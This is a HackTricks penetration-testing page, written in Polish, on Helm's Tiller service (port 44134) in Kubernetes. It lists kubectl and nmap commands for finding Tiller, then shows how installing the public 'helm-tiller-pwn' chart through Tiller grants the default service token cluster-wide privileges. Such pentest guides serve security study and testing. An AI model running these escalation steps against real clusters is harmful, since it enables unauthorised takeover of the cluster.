hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

5.3 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Podstawowe informacje

Helm jest menedżerem pakietów dla Kubernetes. Umożliwia pakowanie plików YAML i dystrybucję ich w publicznych i prywatnych repozytoriach. Te pakiety nazywane są Helm Charts. Tiller to usługa działająca domyślnie na porcie 44134, oferująca tę usługę.

Domyślny port: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

Jeśli możesz enumerować pody i/lub usługi różnych przestrzeni nazw, enumeruj je i szukaj tych z "tiller" w ich nazwie:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Przykłady:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Możesz również spróbować znaleźć tę usługę, sprawdzając port 44134:

sudo nmap -sS -p 44134 <IP>

Gdy już to odkryjesz, możesz się z nim komunikować, pobierając aplikację kliencką helm. Możesz użyć narzędzi takich jak homebrew, lub spojrzeć na oficjalną stronę wydań. Aby uzyskać więcej szczegółów lub inne opcje, zobacz przewodnik instalacji.

Następnie możesz enumerować usługę:

helm --host tiller-deploy.kube-system:44134 version

Eskalacja Uprawnień

Domyślnie Helm2 został zainstalowany w namespace kube-system z wysokimi uprawnieniami, więc jeśli znajdziesz usługę i masz do niej dostęp, może to pozwolić ci na eskalację uprawnień.

Wszystko, co musisz zrobić, to zainstalować pakiet taki jak ten: https://github.com/Ruil1n/helm-tiller-pwn, który da domyślnemu tokenowi usługi dostęp do wszystkiego w całym klastrze.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

W http://rui0.cn/archives/1573 masz wyjaśnienie ataku, ale zasadniczo, jeśli przeczytasz pliki clusterrole.yaml i clusterrolebinding.yaml w helm-tiller-pwn/pwnchart/templates/ możesz zobaczyć, jak wszystkie uprawnienia są przyznawane domyślnemu tokenowi.

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}